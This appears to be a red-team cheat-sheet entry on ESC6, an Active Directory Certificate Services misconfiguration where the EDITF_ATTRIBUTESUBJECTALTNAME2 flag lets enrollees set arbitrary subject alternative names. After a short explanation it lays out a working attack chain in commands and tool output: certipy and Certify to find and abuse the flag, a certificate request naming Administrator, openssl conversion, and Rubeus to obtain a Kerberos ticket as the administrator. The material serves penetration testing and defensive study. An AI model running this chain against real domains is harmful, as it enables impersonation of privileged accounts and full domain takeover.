ESC6

A CA is vulnerable to ESC6 is the EDITF_ATTRIBUTESUBJECTALTNAME2 flag is set. However, it's important to note that the misconfiguration that make this domain escalation possible was patched as part of the May 2022 Security Updates from Microsoft.

For this reason, the only case we will find this misconfiguration is when the security updates have not been installed. If that's the case, all templates allowing to specify a SubjectAltName in the CSR become vulnerable to ESC1.

Read more about the security measures implemented around SmartCard Logon here.

As Microsoft describes

If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.

The EDITF_ATTRIBUTESUBJECTALTNAME2 flag impacts the entire Certificate Authority, meaning that every certificate template enabling non or less-privileged users to request a certificate with Client Authentication (1.3.6.1.5.5.7.3.2) EKU can be exploited. This means we can request a certificate with any user designated as an additional User Principal Name (UPN).

The alternative names here are included in a CSR. This differs from the method for abusing SANs in ESC1 as it stores account information in a certificate attribute vs a certificate extension.

We can use certipy to identify a vulnerable certificate authority:

certipy find -u otter -p 'SomethingSecure123!' -dc-ip 10.10.10.10 -vulnerable -stdout

If the CA is vulnerable we'll see that the User Specified SAN attribute is enabled and we can request a certificate with an alternative SAN for a template that generally doesn't allow it.

certipy req -u '[e-mail]' -p 'SomethingSecure123!' -ca lab-LAB-DC-CA -template User -upn [e-mail]

Abuse from Windows requires to execute Certify directly on the CA to examine the status of the UserSpecifiedSAN / EDITF_ATTRIBUTESUBJECTALTNAME2 flag.

.\Certify.exe cas

...

[*] Enterprise/Enrollment CAs:

    Enterprise CA Name            : lab-LAB-DC-CA
    DNS Hostname                  : LAB-DC.domain.com
    FullName                      : LAB-DC.domain.com\lab-LAB-DC-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=lab-LAB-DC-CA, DC=domain, DC=com
    Cert Thumbprint               : CF54249CAEFB0E092265BFD306940DCBABA4C9A6
    Cert Serial                   : 16BD1CE8853DB8B5488A16757CA7C101
    Cert Start Date               : 26/03/2022 01:07:46
    Cert End Date                 : 26/03/2027 01:17:46
    Cert Chain                    : CN=lab-LAB-DC-CA,DC=domain,DC=com
    [!] UserSpecifiedSAN : EDITF_ATTRIBUTESUBJECTALTNAME2 set, enrollees can specify Subject Alternative Names!
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

...

To carry out this attack, we need a template that allows client authentication, as is the case with the default User template, and include an alternative SAN

.\Certify.exe request /ca:LAB-DC.domain.com\lab-LAB-DC-CA /template:User /altname:Administrator

and convert it into a format we can use with Rubeus to request a ticket using PKINIT.

 & "C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in .\cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx